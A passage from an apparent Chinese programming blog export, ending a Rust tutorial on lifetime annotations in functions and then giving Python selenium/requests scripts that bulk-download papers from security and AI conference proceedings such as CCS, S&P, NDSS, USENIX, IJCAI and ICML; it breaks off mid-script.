title="3.函数中的生命周期"></a>3.函数中的生命周期</h1><p>单一的代码块中,我们或者编译器都能很轻易的推断出引用的生命周期是否满足条件,但是当我们调用一个函数,且这个函数的参数、返回值都有引用的出现,那编译器就很推测出各种引用的生命周期了。</p><p>考虑如下不能通过编译的代码,longest会比较两个引用的长度,返回较长的那一个:</p><pre><code class="rust">fn main() { let string1 = String::from("abcd"); let string2 = "xyz"; let result = longest(string1.as_str(), string2); println!("The longest string is {}", result);//这样感觉上是没什么问题的,因为result指向的是String1}fn longest(x: &str, y: &str) -> &str { if x.len() > y.len() { x } else { y }}</code></pre><p>编译报错如下,编译器说这个函数返回了一个引用,但它并不清楚这个引用来自x 还是y。</p><pre><code class="shell">error[E0106]: missing lifetime specifier --> src\main.rs:9:33 |9 | fn longest(x: &str, y: &str) -> &str { | ---- ---- ^ expected named lifetime parameter | = help: this function's return type contains a borrowed value, but the signature does not say whether it is borrowed from `x` or `y`help: consider introducing a named lifetime parameter |9 | fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { | ++++ ++ ++ ++</code></pre><p>为什么编译器要在意函数返回引用的来源呢 , 考虑如下代码:</p><pre><code class="rust">fn main() { let string1 = String::from("abcd"); let string2 = "xyz"; let result = longest(string1.as_str(), string2); //result指向了string1 println!("{}",result); // result的借用发生了 //我们增加点代码 let string3 =string1; //string1所有权移交给了string3 println!("{}",result);//result的借用再次发生了,报错}</code></pre><p>longest函数的返回值是其两个参数中的一个,尽管在调用longest这个函数时,两个引用&string1、&string2都是合理的引用,因此返回值&string1给result是合理的。</p><p>但是如果在后续的代码中,我们将string1 的所有权转移(string1生命周期到此为止),并再次调用了result(引用生命周期大于目标值!),这显然就报错了。</p><p>总之,函数若返回值是参数的引用,如果不加上对引用和返回值生命周期的限制,就无法确保这个返回值是否在后续代码中能够正常使用。</p><p>为了修复这个错误,我们将增加<strong>泛型生命周期参数</strong>来定义引用间的关系以便借用检查器可以进行分析。</p><h2 id="3-1-生命周期标注语法"><a href="#3-1-生命周期标注语法" class="headerlink" title="3.1 生命周期标注语法"></a>3.1 生命周期标注语法</h2><p>在上面的报错中, 编译器给出了一个参考的bug修复方法</p><pre><code class="rust">fn longest<'a>(x: &'a str, y: &'a str) -> &'a str</code></pre><p>其中 ‘a就是生命周期标注 ,生命周期参数名称必须以撇号(<code>'</code>)开头,其名称通常全是小写 。<code>'a</code> 是大多数人默认使用的名称。生命周期参数标注位于引用的 <code>&</code> 之后,并有一个空格来将引用类型与生命周期标注分隔开。</p><p>下面是三个例子</p><pre><code class="rust">&i32 // 引用&'a i32 // 带有显式生命周期的引用&'a mut i32 // 带有显式生命周期的可变引用</code></pre><p>生命周期标注并不改变任何引用的生命周期的长短,单个生命周期标注本身并没有多少意义,我们更在意的是多个引用的生命周期之间的关系,这种关系更多是在函数的参数和返回值上的。</p><h2 id="3-2函数中的生命周期标注"><a href="#3-2函数中的生命周期标注" class="headerlink" title="3.2函数中的生命周期标注"></a>3.2函数中的生命周期标注</h2><p>与当函数签名中指定了<strong>泛型类型</strong>参数后就可以接受任何类型一样,当指定了<strong>泛型生命周期</strong>后函数也能接受任何生命周期的引用。</p><pre><code class="rust">fn test<T> ...//test函数可以接受任何类型fn longest<'a>... //longest函数可以接受任何生命周期为'a的参数 </code></pre><p>当我们指定了函数的泛型生命周期后,就可以使用它 了</p><p>修改后的函数如下,现在函数签名表明对于某些生命周期 <code>'a</code>,函数会获取两个参数,他们都是与生命周期 <code>'a</code> 存在的一样长的字符串 slice。函数会返回一个同样也与生命周期 <code>'a</code> 存在的一样长的字符串 slice。它的实际含义是 <code>longest</code> 函数返回的引用的生命周期与传入该函数的引用的生命周期的较小者一致。</p><pre><code class="rust">fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { if x.len() > y.len() { x } else { y }}</code></pre><p>当具体的引用被传递给 <code>longest</code> 时,被 <code>'a</code> 所替代的具体生命周期是 <code>x</code> 的作用域与 <code>y</code> 的作用域相重叠的那一部分。换一种说法就是泛型生命周期 <code>'a</code> 的具体生命周期等同于 <code>x</code> 和 <code>y</code> 的生命周期中<strong>较小</strong>的那一个。因为我们用相同的生命周期参数 <code>'a</code> 标注了返回的引用值,所以返回的引用值就能保证在 <code>x</code> 和 <code>y</code> 中较短的那个生命周期结束之前保持有效。</p><h1 id="4-总结"><a href="#4-总结" class="headerlink" title="4.总结"></a>4.总结</h1><p>再次回顾一下本文:</p><ol><li><p>首先会介绍Rust的<strong>所有权特性</strong>,受这个所有权特性的限制,我们很多函数无法借助基本的类型来实现,因此需要引用这一类型。</p></li><li><p>引用是对目标值的借用,通过引用我们可以访问甚至修改目标值,当然,引用并<strong>没有目标值的所有权</strong>,从直觉上来说,如果目标值已经不存在了,那引用也理所当然不存在了,所以引用受到了目标值的生命周期的限制,更明确的说,引用的生命周期必须小于(或等于)目标值的生命周期。</p></li><li><p>然后我们就要详细看看生命周期了,如果代码中没有引用,那生命周期也很好推断,正是因为引用的存在,我们(和编译器)必须明确的关注<strong>引用的生命周期</strong>。</p></li><li><p>假如我们的代码没有任何的函数调用,其值的所有创建、使用都是在main函数中实现,那编译器可以很轻松的推断出每个引用的生命周期是否合理,当然这种代码的可读性可拓展性都很非常的差,因此将部分代码抽象成函数是必要的,但函数的调用位置是很难预测的,当参数、返回值中有引用的出现,编译器就更难推断出其生命周期,因此我们需要手动的去<strong>标注生命周期</strong>。</p></li><li><p>通过对函数中引用的生命周期进行标注,我们可以对返回值加以限制,确保这个返回值能在后续的代码中正常使用。</p></li></ol><hr><p>参考文章:</p><p>《Rust 程序设计语言》</p><p>《Programming Rust》</p>]]></content>
<categories>
<category> 编程语言 </category>
<category> Rust </category>
</categories>
</entry>
<entry>
<title>安全四大会议&人工智能四大会议下载</title>
<link href="/2023/09/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%AE%89%E5%85%A8%E5%9B%9B%E5%A4%A7%E4%BC%9A%E8%AE%AE&%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%9B%9B%E5%A4%A7%E4%BC%9A%E8%AE%AE%E4%B8%8B%E8%BD%BD/"/>
<url>/2023/09/27/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E5%AE%89%E5%85%A8%E5%9B%9B%E5%A4%A7%E4%BC%9A%E8%AE%AE&%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%9B%9B%E5%A4%A7%E4%BC%9A%E8%AE%AE%E4%B8%8B%E8%BD%BD/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="论文下载"><a href="#论文下载" class="headerlink" title="论文下载"></a>论文下载</h1><p><a href="https://publications.cispa.saarland/view/year/2023.type.html">https://publications.cispa.saarland/view/year/2023.type.html</a></p><p>S&P</p><p><a href="https://www.ieee-security.org/TC/SP2023/program-papers.html">https://www.ieee-security.org/TC/SP2023/program-papers.html</a></p><p><a href="https://www.ieee-security.org/TC/SP2022/program-papers.html">https://www.ieee-security.org/TC/SP2022/program-papers.html</a></p><p><a href="https://www.ieee-security.org/TC/SP2021/program-papers.html">https://www.ieee-security.org/TC/SP2021/program-papers.html</a></p><p>CCS <a href="https://dl.acm.org/doi/proceedings/10.1145/3460120">https://dl.acm.org/doi/proceedings/10.1145/3460120</a></p><h2 id="安全顶会"><a href="#安全顶会" class="headerlink" title="安全顶会"></a>安全顶会</h2><h3 id="CCS"><a href="#CCS" class="headerlink" title="CCS"></a><strong>CCS</strong></h3><p>CCS大概下载30篇左右就会封禁IP两小时,因此每次被封禁IP后会sleep两小时继续爬</p><p>环境依赖:</p><ol><li>python库selenium、bs4、resquests</li><li>安装chrome对应版本的googledriver 并在init_driver()中chrome_driver_path 指定googledriver的位置</li></ol><p>使用方式:</p><pre><code class="python">python downloadccs.py --year 2021</code></pre><p>首先爬取所有paper的 doi ,存储到data.json文件中, 然后根据data.json进行下载每次被封禁后sleep两小时继续下载。</p><p>爬取doi使用了selenium,后续的下载使用resquests、bs4库</p><pre><code class="python">from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.chrome.service import Service as ChromeServicefrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECimport timeimport requestsimport reimport osimport argparseimport configparserimport datetimeimport requestsfrom bs4 import BeautifulSoupimport jsonimport redef generate_url_config(urls,driver): url_list=[] for url in urls: select_pdf_url(url,driver) return url_list#使用requests库根据url 和pdf_name 发送httpget请求下载文文件def download_pdf(url, pdf_name,year): # 使用正则表达式移除不适合用于文件名的特殊字符,将它们替换为空格 pdf_name = re.sub(r'[\\/:*?"<>|]', ' ', pdf_name) # 发送HTTP GET请求获取论文内容 response = requests.get(url) # 创建下载目录 download_dir = os.path.join(os.getcwd(), str(year)) os.makedirs(download_dir, exist_ok=True) if response.status_code == 200: # 确定下载路径,你可以根据需要修改保存路径 download_path = os.path.join(os.getcwd(), str(year), f'{pdf_name}.pdf') time.sleep(5) if os.path.exists(download_path): print(f'{download_path} 文件已存在') return 1 else: print(f'{download_path} 不存在,正在下载中') # 保存论文内容为PDF文件 with open(download_path, 'wb') as pdf_file: pdf_file.write(response.content) print(f'论文已下载到: {download_path}') return 1 else: print(f'无法下载论文,HTTP响应代码: {response.status_code}') return 0#获取指定topic下的pdfurl,返回的是 pdf_name:pdf_url的多个键值对def gather_pdf_url_from_topics(url,driver): print("正在访问指定的topic{}".format(url)) pdf_urls={} driver.get(url) #提取出文章的container .目前只要 research-article items = driver.find_elements(By.XPATH,'.//div[@class="issue-item-container"]') for item in items: paperType=item.find_element(By.XPATH,'.//div[@class="issue-heading"]').text.split("\\n")[0] print(paperType) if paperType =="RESEARCH-ARTICLE": #提取pdf的名字 pdf_name=item.find_element(By.XPATH,'.//h5[@class="issue-item__title"]/a').text #提取出pdf链接 pdf_url=item.find_element(By.XPATH,'.//a[@class="btn--icon simple-tooltip__block--b red btn"]').get_attribute("href") #下载PDF #download_pdf(pdf_url,pdf_name) #记录下来 pdf_urls[pdf_name]=pdf_url print(pdf_urls) return pdf_urls#初始化google_driverdef init_driver(): #指定chromedirver的路径 chrome_driver_path = 'chromedriver.exe' chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--ignore-certificate-errors') chrome_options.add_argument('--ignore-certificate-errors-spki-list') chrome_options.add_experimental_option('excludeSwitches', ['enable-logging']) #下面这个可以指定下载路径 #chrome_options.add_experimental_option("prefs", {"download.default_directory": 'E:\\Temp'}) driver = webdriver.Chrome() # 创建Chrome WebDriver实例 chrome_service = ChromeService(executable_path=chrome_driver_path) driver = webdriver.Chrome(service=chrome_service,options=chrome_options) return driver# 访问CCS历年会议的列表从中提取出指定年份会议的urldef get_conference_urls(year): # 发送 GET 请求获取页面内容 url = '<https://dl.acm.org/conference/ccs/proceedings>' # 将 URL 替换为你要访问的网页 URL response = requests.get(url) # 使用 BeautifulSoup 解析页面内容 soup = BeautifulSoup(response.text, 'html.parser') # 查找所有匹配指定条件的 ul 标签 divs = soup.find_all('div', class_='conference__title left-bordered-title') # 遍历 ul 标签并提取其中的所有 a 标签 for div in divs: a_tags = div.find_all('a') for a_tag in a_tags: conf_year=a_tag.text.split("the")[1].split("ACM")[0].strip() if year==conf_year: return "<https://dl.acm.org>"+a_tag['href']#从用户输入中获取要下载 的年份def parser_year(): current_year = datetime.datetime.now().year # 创建命令行参数解析器 parser = argparse.ArgumentParser(description='处理年份对应的 PDF') # 添加命令行参数,并设置默认值为当前年份 parser.add_argument('--year', type=str, default=current_year-1, help='要处理的年份,默认为当前年份') # 解析命令行参数 args = parser.parse_args() # 获取命令行参数中的年份 return str(args.year)#遍历该CCS会议的所有topicdef select_topic_urls(ccs_url,driver): #创建一个sele driver.get(ccs_url) #等待get请求结束 time.sleep(10) #获取所有topic 的url downSessions=driver.find_elements(By.XPATH,'//a[@class="section__title accordion-tabbed__control left-bordered-title"]') topic_urls=[] for session in downSessions: topic_urls.append(session.get_attribute("href")) return topic_urlsif __name__ == '__main__': download_year=parser_year() #,通过 --year指定,如2021 #解析配置文件 f=open('data.json', 'r') data = json.load(f) f.close() print("下载CCS会议年份:",download_year) if str(download_year) in data['conferences']: print("已有配置文件,直接下载!") for pdfs in data['conferences'][download_year].items(): pdf_url=pdfs[1]['download_url'] pdf_name=pdfs[0] if(data['conferences'][download_year][pdf_name]['isdownloaded']!=True):#检查是否已下载,为false则下载 print(pdfs[1]['download_url']) if download_pdf(pdf_url,pdf_name,download_year):#如果能够正常下载则返回修改配置文件 data['conferences'][download_year][pdf_name]['isdownloaded']=True with open('data.json', 'w') as updated_json_file: #更新配置文件 json.dump(data, updated_json_file, indent=4) else: print("ip已被封禁,睡眠2小时 ") time.sleep(60*60*2) else: driver=init_driver() data['conferences'][download_year] = {} #更新配置文件 pdfname_url={} #获取目标年份CCS会议的url ccs_url=get_conference_urls(download_year) #获取CCS会议所有topic对应的url topic_urls=select_topic_urls(ccs_url,driver=driver) #存储 {pdf_name,pdf_url} for topic_url in topic_urls: pdfname_url.update(gather_pdf_url_from_topics(topic_url,driver=driver)) target_year_data = data['conferences'][download_year] #{pdf_name,pdf_url} 记入配置文件中 for pdf_name, download_url in pdfname_url.items(): target_year_data[pdf_name] = { "download_url": download_url, "isdownloaded": False } #写入配置文件中 with open('data.json', 'w') as updated_json_file: json.dump(data, updated_json_file, indent=4)############################################################################################################################ print("配置文件导入完成!开始下载 ") f=open('data.json', 'r') data = json.load(f) f.close() for pdfs in data['conferences'][download_year].items(): pdf_url=pdfs[1]['download_url'] pdf_name=pdfs[0] if(data['conferences'][download_year][pdf_name]['isdownloaded']!=True):#检查是否已下载,为false则下载 print(pdfs[1]['download_url']) if download_pdf(pdf_url,pdf_name,download_year): data['conferences'][download_year][pdf_name]['isdownloaded']=True with open('data.json', 'w') as updated_json_file: #更新配置文件 json.dump(data, updated_json_file, indent=4) else: print("ip已被封禁,退出下载 ") break</code></pre><h3 id="S-amp-P"><a href="#S-amp-P" class="headerlink" title="S&P"></a>S&P</h3><p><a href="https://ieeexplore.ieee.org/xpl/conhome/1000646/all-proceedings">https://ieeexplore.ieee.org/xpl/conhome/1000646/all-proceedings</a> 这里按年份记录了下载地址 ,下面是近三年的下载地址</p><p><a href="https://ieeexplore.ieee.org/xpl/conhome/10179215/proceeding?isnumber=10179280&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1">https://ieeexplore.ieee.org/xpl/conhome/10179215/proceeding?isnumber=10179280&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1</a></p><p><a href="https://ieeexplore.ieee.org/xpl/conhome/9833550/proceeding?isnumber=9833558&sortType=vol-only-seq&rowsPerPage=100&pageNumber=1">https://ieeexplore.ieee.org/xpl/conhome/9833550/proceeding?isnumber=9833558&sortType=vol-only-seq&rowsPerPage=100&pageNumber=1</a></p><p><a href="https://ieeexplore.ieee.org/xpl/conhome/9519381/proceeding?isnumber=9519382&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1">https://ieeexplore.ieee.org/xpl/conhome/9519381/proceeding?isnumber=9519382&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1</a></p><p>使用selenium来下载</p><p>1.更新chrome ,浏览器输入chrome://version/ 查看 chrome版本</p><p><a href="https://www.itbenet.com/wenz/223586.html">https://www.itbenet.com/wenz/223586.html</a></p><ol><li>下载对应版本的chrome-driver, 将exe文件解压出来</li></ol><p><a href="https://googlechromelabs.github.io/chrome-for-testing/#stable">https://googlechromelabs.github.io/chrome-for-testing/#stable</a></p><ol><li>修改脚本中的exe位置为自己的位置 chrome_driver_path = ‘F:\develop\chromedriver.exe’</li><li>pip install selenium</li></ol><pre><code class="python">sp2023="<https://ieeexplore.ieee.org/xpl/conhome/10179215/proceeding?isnumber=10179280&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1>"sp2022="<https://ieeexplore.ieee.org/xpl/conhome/9833550/proceeding?isnumber=9833558&sortType=vol-only-seq&rowsPerPage=100&pageNumber=1>"sp2021="<https://ieeexplore.ieee.org/xpl/conhome/9519381/proceeding?isnumber=9519382&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1>"from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.chrome.service import Service as ChromeServicefrom selenium.webdriver.common.keys import Keysfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECimport time#分页下载,调用该函数会下载指定页面的pdfdef download_page(url,driver): driver.get(url) print("waiting for page loading") time.sleep(10) selectinput = driver.find_elements(By.XPATH,'//div[@class="hide-mobile"]//input[@class="ng-untouched ng-pristine ng-valid"]') #选中pdf for input in selectinput: driver.execute_script("arguments[0].scrollIntoView();", input)#这里要模拟下拉一下,虽然不知道为啥 ,但是下拉就对了 time.sleep(1) # 这里要sleep 1秒,否则点击有可能报错 print("clicking") input.click() #print(len(selectinput)) #点击下载按钮 downloadbtn = driver.find_elements(By.XPATH,'//button[@class="xpl-toggle-btn" and normalize-space(text())="Download PDFs"]') downloadbtn[0].click() #点击确认下载 downloadbtn_accept=driver.find_element(By.XPATH,'//button[contains(@class, "downloadpdf-predl-proceed-button stats-SearchResults_BulkPDFDownload xpl-btn-primary")]') downloadbtn_accept.click() #获取loading loadingbtn=driver.find_element(By.XPATH,'//i[contains(@class, "fas") and contains(@class, "fa-spinner") and contains(@class, "fa-spin")]') #等待loading消失 wait.until(EC.staleness_of(loadingbtn))if __name__ == '__main__': # 设置Chrome WebDriver的路径 chrome_driver_path = 'F:\\develop\\chromedriver.exe' chrome_options = webdriver.ChromeOptions() chrome_options.add_argument('--ignore-certificate-errors') chrome_options.add_argument('--ignore-certificate-errors-spki-list') chrome_options.add_experimental_option('excludeSwitches', ['enable-logging']) driver = webdriver.Chrome() # 创建Chrome WebDriver实例 chrome_service = ChromeService(executable_path=chrome_driver_path) driver = webdriver.Chrome(service=chrome_service,options=chrome_options) wait = WebDriverWait(driver, 300) #首先解析出一共有多少pdf,然后分页下载 url = f"<https://ieeexplore.ieee.org/xpl/conhome/9833550/proceeding?isnumber=9833558&sortType=vol-only-seq&rowsPerPage=10&pageNumber=1>" driver.get(url) #这个div 记录了pdf总数 print("waiting for page loading") time.sleep(10) div_elements = driver.find_elements(By.CSS_SELECTOR, 'div.col-12.Dashboard-header.text-base-md-lh') total_papers= int(div_elements[0].text.split(" ")[-1])#204 for page in range(1,int(total_papers/10)+2): #每页10个 /10 url = f"<https://ieeexplore.ieee.org/xpl/conhome/9833550/proceeding?isnumber=9833558&sortType=vol-only-seq&rowsPerPage=10&pageNumber={page}>" print(url) download_page(url,driver=driver)</code></pre><h3 id="NDSS"><a href="#NDSS" class="headerlink" title="NDSS"></a><strong>NDSS</strong></h3><p>使用: python <a href="http://ndss.py/">NDSS.py</a> —year 2022</p><pre><code class="python">import requestsfrom bs4 import BeautifulSoupimport argparseimport datetimedef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")def NDSS_Download(year): # 定义基础URL和参数位置 base_url = f"<https://www.ndss-symposium.org/ndss{year}/accepted-papers/>" # 将URL替换为你的基础URL # 发起GET请求获取网页内容 response = requests.get(base_url) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有匹配指定条件的链接 links = soup.find_all('a', class_='paper-link-abs', href=True) # 打印匹配到的链接 for link in links: paper_pdf_name=link['href'].rstrip('/').split('/')[-1] print("Paper name:", link['href'].rstrip('/').split('/')[-1]) response = requests.get(link['href']) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有带有class属性为"a-pdf"的a标签 pdf_links = soup.find_all('a', class_='pdf-button', href=True)[0]['href'] print("论文 url",pdf_links) #下载论文 download_pdf(pdf_links, str(year)+"NDSS-"+paper_pdf_name+".pdf")def USENIX_download(year): url_fall="<https://www.usenix.org/conference/usenixsecurity21/fall-accepted-papers>" url_summer="<https://www.usenix.org/conference/usenixsecurity21/summer-accepted-papers>"if __name__ == "__main__": current_year = datetime.datetime.now().year parser = argparse.ArgumentParser(description="Extract PDF links from a webpage based on the year.") parser.add_argument("--year", type=int, default=current_year, help="Year parameter (default: current year)") args = parser.parse_args() NDSS_Download(args.year)</code></pre><p>多线程版本</p><pre><code class="python">import requestsfrom bs4 import BeautifulSoupimport argparseimport datetimeimport threadingfrom concurrent.futures import ThreadPoolExecutordef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")def download_thread(link, year): paper_pdf_name = link['href'].rstrip('/').split('/')[-1] print("Paper name:", paper_pdf_name) response = requests.get(link['href']) html_content = response.text soup = BeautifulSoup(html_content, 'html.parser') pdf_links = soup.find_all('a', class_='pdf-button', href=True)[0]['href'] print("论文 url", pdf_links) download_pdf(pdf_links, str(year) + "NDSS-" + paper_pdf_name + ".pdf")def NDSS_Download(year, num_threads): base_url = f"<https://www.ndss-symposium.org/ndss{year}/accepted-papers/>" response = requests.get(base_url) html_content = response.text soup = BeautifulSoup(html_content, 'html.parser') links = soup.find_all('a', class_='paper-link-abs', href=True) # 使用线程池创建指定数量的线程 with ThreadPoolExecutor(max_workers=num_threads) as executor: for link in links: executor.submit(download_thread, link, year)if __name__ == "__main__": current_year = datetime.datetime.now().year parser = argparse.ArgumentParser(description="Extract PDF links from a webpage based on the year.") parser.add_argument("--year", type=int, default=current_year, help="Year parameter (default: current year)") parser.add_argument("--threads", type=int, default=10, help="Number of threads (default: 10)") args = parser.parse_args() NDSS_Download(args.year, args.threads)</code></pre><h3 id="USENIX"><a href="#USENIX" class="headerlink" title="USENIX"></a><strong>USENIX</strong></h3><pre><code class="python">import reimport requestsfrom bs4 import BeautifulSoupimport argparseimport datetimedef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")def make_safe_filename(filename): # 定义要替换的特殊字符的正则表达式模式 special_chars_pattern = r'[<>:"/\\\\|?*]' # 使用正则表达式进行替换,将特殊字符替换为下划线 safe_filename = re.sub(special_chars_pattern, '_', filename) return safe_filenamedef USENIX_download_all(year): url_fall=f"<https://www.usenix.org/conference/usenixsecurity{year}/fall-accepted-papers>" USENIX_download(year,url_fall) url_summer=f"<https://www.usenix.org/conference/usenixsecurity{year}/summer-accepted-papers>" USENIX_download(year,url_summer)def USENIX_download(year,url_target): response = requests.get(url_target) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有匹配指定条件的链接 pattern = re.compile(r'/conference.*/presentation.*') links = soup.find_all('a', href=pattern) # 将找到的链接添加到集合中以去除重复元素 unique_links_set = set() for link in links: unique_links_set.add("<https://www.usenix.org>"+link['href']) # 将集合转换回列表 links = list(unique_links_set) #遍历 for link in links: print(link)#<https://www.usenix.org/conference/usenixsecurity23/presentation/cernera> response = requests.get(link) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') #获取论文的标题 pdf_name=str(year)+"USENIX-"+make_safe_filename(soup.find('h1', id='page-title').get_text().replace(":", ""))+".pdf" #获取论文的详细链接 pdf_link = soup.find('a', attrs={'type': lambda value: value and 'application/pdf' in value})['href'] download_pdf(pdf_link,pdf_name)if __name__ == "__main__": current_year = datetime.datetime.now().year parser = argparse.ArgumentParser(description="Extract PDF links from a webpage based on the year.") parser.add_argument("--year", type=int, default=current_year, help="Year parameter (default: current year)") args = parser.parse_args() USENIX_download_all(args.year%100) #用到的是年份的后两位</code></pre><p>多线程版本</p><pre><code class="python">import reimport requestsfrom bs4 import BeautifulSoupimport argparseimport datetimefrom concurrent.futures import ThreadPoolExecutordef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")def make_safe_filename(filename): # 定义要替换的特殊字符的正则表达式模式 special_chars_pattern = r'[<>:"/\\\\|?*]' # 使用正则表达式进行替换,将特殊字符替换为下划线 safe_filename = re.sub(special_chars_pattern, '_', filename) return safe_filenamedef USENIX_download_all(year,num_threads): url_fall=f"<https://www.usenix.org/conference/usenixsecurity{year}/fall-accepted-papers>" USENIX_download(year,url_fall,num_threads) url_summer=f"<https://www.usenix.org/conference/usenixsecurity{year}/summer-accepted-papers>" USENIX_download(year,url_summer,num_threads)def USENIX_download(year, url_target,num_threads): response = requests.get(url_target) html_content = response.text soup = BeautifulSoup(html_content, 'html.parser') pattern = re.compile(r'/conference.*/presentation.*') links = soup.find_all('a', href=pattern) unique_links_set = set() for link in links: unique_links_set.add("<https://www.usenix.org>" + link['href']) links = list(unique_links_set) # 使用线程池创建指定数量的线程 with ThreadPoolExecutor(max_workers=num_threads) as executor: for link in links: executor.submit(download_thread, link, year)def download_thread(link, year): response = requests.get(link) html_content = response.text soup = BeautifulSoup(html_content, 'html.parser') pdf_name = str(year) + "USENIX-" + make_safe_filename(soup.find('h1', id='page-title').get_text().replace(":", "")) + ".pdf" pdf_link = soup.find('a', attrs={'type': lambda value: value and 'application/pdf' in value})['href'] download_pdf(pdf_link, pdf_name)if __name__ == "__main__": current_year = datetime.datetime.now().year parser = argparse.ArgumentParser(description="Extract PDF links from a webpage based on the year.") parser.add_argument("--year", type=int, default=current_year, help="Year parameter (default: current year)") parser.add_argument("--threads", type=int, default=10, help="Number of threads (default: 10)") args = parser.parse_args() num_threads = args.threads USENIX_download_all(args.year % 100, num_threads)</code></pre><h2 id="人工智能顶会"><a href="#人工智能顶会" class="headerlink" title="人工智能顶会"></a>人工智能顶会</h2><p>Download papers and supplemental materials from open-access paper website, such as <strong>AAAI</strong>, ACCV, AISTATS, COLT, CVPR, ECCV, ICCV, ICLR, <strong>ICML</strong>, <strong>IJCAI</strong>, JMLR, <strong>NIPS.</strong></p><p><a href="https://github.com/SilenceEagle/paper_downloader">https://github.com/SilenceEagle/paper_downloader</a></p><p>github项目中有阿里云盘(2020-2022年)可直接保存下载</p><h3 id="下载IJCAI-2023"><a href="#下载IJCAI-2023" class="headerlink" title="下载IJCAI 2023"></a>下载IJCAI 2023</h3><p><a href="https://www.ijcai.org/proceedings/2023/">https://www.ijcai.org/proceedings/2023/</a></p><p>脚本通过—year 指定年份,不输入默认为当前年份</p><pre><code class="python">import reimport requestsfrom bs4 import BeautifulSoupimport argparseimport datetime#根据url进行下载并将文件名命名为pdf_namedef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")#有的论文有特殊字符在window下无法作为正常文件名def make_safe_filename(filename): # 定义要替换的特殊字符的正则表达式模式 special_chars_pattern = r'[<>:"/\\\\|?*]' # 使用正则表达式进行替换,将特殊字符替换为下划线 safe_filename = re.sub(special_chars_pattern, '_', filename) return safe_filenamedef IJCAI_download(year): # 定义基础URL和参数位置 base_url = f"<https://www.ijcai.org/proceedings/{year}/>" # 将URL替换为你的基础URL # 发起GET请求获取网页内容 response = requests.get(base_url) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有匹配指定条件的链接 links = soup.find_all('div', class_='paper_wrapper') for link in links: title=make_safe_filename(str(year)+"-IJCAI-"+link.find('div', class_='title').get_text()+".pdf") url=f"<https://www.ijcai.org/proceedings/{year}/>"+link.find('a', href=re.compile(r'.*\\.pdf$'))['href'] print(title,url) download_pdf(url,title)if __name__ == "__main__": current_year = datetime.datetime.now().year parser = argparse.ArgumentParser(description="Extract PDF links from a webpage based on the year.") parser.add_argument("--year", type=int, default=current_year, help="Year parameter (default: current year)") args = parser.parse_args() IJCAI_download(args.year) </code></pre><h3 id="下载ICML-2023"><a href="#下载ICML-2023" class="headerlink" title="下载ICML 2023"></a>下载ICML 2023</h3><p><a href="http://proceedings.mlr.press/">http://proceedings.mlr.press/</a></p><p>2023年的ICML :<a href="http://proceedings.mlr.press/v202/">http://proceedings.mlr.press/v202/</a></p><p>这个脚本只能下载2023的,后续2024之类的要将url的v202改成对应的编号</p><pre><code class="python">import reimport requestsfrom bs4 import BeautifulSoupimport argparseimport datetime#根据url进行下载并将文件名命名为pdf_namedef download_pdf(url, pdf_name): response = requests.get(url) if response.status_code == 200: with open(pdf_name, 'wb') as pdf_file: pdf_file.write(response.content) print(f"Downloaded and saved {pdf_name}") else: print("Failed to download the PDF")#有的论文有特殊字符在window下无法作为正常文件名def make_safe_filename(filename): # 定义要替换的特殊字符的正则表达式模式 special_chars_pattern = r'[<>:"/\\\\|?*]' # 使用正则表达式进行替换,将特殊字符替换为下划线 safe_filename = re.sub(special_chars_pattern, '_', filename) return safe_filenamedef ICML_download(): # 定义基础URL和参数位置 base_url = "<http://proceedings.mlr.press/v202/>" # 发起GET请求获取网页内容 response = requests.get(base_url) html_content = response.text # 使用BeautifulSoup解析网页内容 soup = BeautifulSoup(html_content, 'html.parser') # 查找所有匹配指定条件的链接 links = soup.find_all('div', class_='paper') for link in links: title=make_safe_filename("2023-ICML-"+link.find('p', class_='title').get_text()+".pdf") url=link.find('a', href=re.compile(r'.*\\.pdf$'))['href'] print(title,url) 